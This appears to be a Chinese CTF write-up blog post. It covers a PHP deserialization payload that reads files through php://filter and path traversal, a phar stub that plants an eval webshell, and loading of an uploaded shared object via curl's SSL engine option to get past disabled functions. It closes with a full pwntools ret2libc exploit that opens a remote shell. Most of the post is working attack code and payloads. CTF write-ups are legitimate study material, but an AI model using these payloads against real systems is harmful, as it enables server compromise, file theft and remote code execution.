user=a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A133%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A51%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D.%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A17%3A%22%2F..%2F..%2F..%2F..%2Fflag%22%3B%7D%22%3B%7Di%3A0%3BN%3B%7D

 

php_jail_is_my_cry

 

文件上传,ban了

<? php halt

但是在phar文件格式即使被压缩(如 .gz, .bz2)Phar 的文件头仍保持完整,PHP 的 Phar 扩展能自动识别并解析它。

生成一个phar文件,在对phar文件进行压缩成gz格式

**<?php**   
$phar = **new** Phar('t.phar');   
$phar->startBuffering();   
$stub = **<<<** 'STUB'   
<?php  
 file_put_contents("/var/www/html/i.php",'<?=eval($_POST[1])?>'); **__HALT_COMPILER**();**?>**   
STUB;   
   
$phar->setStub($stub);   
$phar->addFromString('test.txt', 'test');   
$phar->stopBuffering();

访问http://ip/i.php post提交1=phpinfo();验证马是不是写入了,就能看到他ban了一堆函数。

 

因为ban了实在是太多了,写一个函数来判断哪些函数和类可以用。喊队伍来.

 

先把日志开了,方便调试


[kaqi ~] ls

foundry jail

[kaqi ~] cat jail/Dockerfile

FROM php:8.3.0-fpm

COPY files/readflag /readflag

RUN chmod u+s /readflag

RUN apt-get update && apt-get install -y \

nginx \

&& mkdir -p /run/nginx /var/log/nginx \

&& usermod -u 1000 www-data \

&& groupmod -g 1000 www-data \

&& mkdir -p /var/log/php \

&& touch /var/log/php/access.log \

&& chown -R www-data:www-data /var/log/php

COPY config/nginx.conf /etc/nginx/sites-available/default

RUN rm -f /etc/nginx/sites-enabled/default \

&& ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/default

COPY files/init.sh /init.sh

COPY config/php.ini /usr/local/etc/php/php.ini

COPY src/ /var/www/html/

ENTRYPOINT ["/init.sh"]

把 index.php 的 style 删了,然后让AI帮找一下漏洞

 

加上bypass open_basedir

 

 

然后修改 index.php

sed -i '32i\ curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_FILE);' src/index.php

在孤狗搜索curl_setopt 相关的漏洞没发现,然后继续AI

 

然后找到一个

 

https://hackerone.com/reports/3293801

队友传了一个后门,直接利用

通过编译一个.so文件进行读取/realflag文件

 

然后将2.so文件进行上传


使用以下命令进行读取

1=$ch = curl_init("http://www.azureyinglong.cn");
curl_setopt($ch, CURLOPT_SSLENGINE , "/tmp/2.so");
$data = curl_exec($ch);
curl_close($ch);

然后访问/flag.txt即可获得flag

 

PWN

签到

通过对题目分析,以下是解题思路:

打ret2libc, 通过拼接puts_plt(puts_got) 打印出puts函数的真实地址,泄露libc库的偏移量。 然后通过给定的libc库,计算出出目标的system地址和“/bin/sh”地址, 最后拼接systme("/bin/sh")完成getshell

from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

elf = ELF("./pwn")

libc = ELF("./libc.so.6")

port = remote("challenge.xinshi.fun",41148)

puts_plt = elf.plt["puts"]

puts_got = elf.got["puts"]

main = 0x401178

pop_rdi = 0x0000000000401176

ret  = 0x000000000040101a

success("puts_plt ==> " + hex(puts_plt) + '\n' + "pust_got ==>" + hex(puts_got) )

payload_test = b'a'*0x70 + b'a'*0x8 + p64(ret) +p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

port.sendafter(b"What's your name?", payload_test)

address = u64(port.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

success("address ==> " + hex(address))

base = address - libc.symbols["puts"]

success("base ==>" + hex(base))

system = base + libc.symbols["system"]

sh_str = base + libc.search("/bin/sh\x00").__next__()

success("system ==> " + hex(system) + '\n' + "sh_str ==>" + hex(sh_str) )

payload = b'a'*0x70 + b'a'*0x8  +p64(pop_rdi) + p64(sh_str) + p64(system) + p64(main)

port.send(payload)

port.interactive()

朗读
赞(0)
版权属于:

霍雅的博客

本文链接:

https://6666345.xyz/bk/index.php/archives/539/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月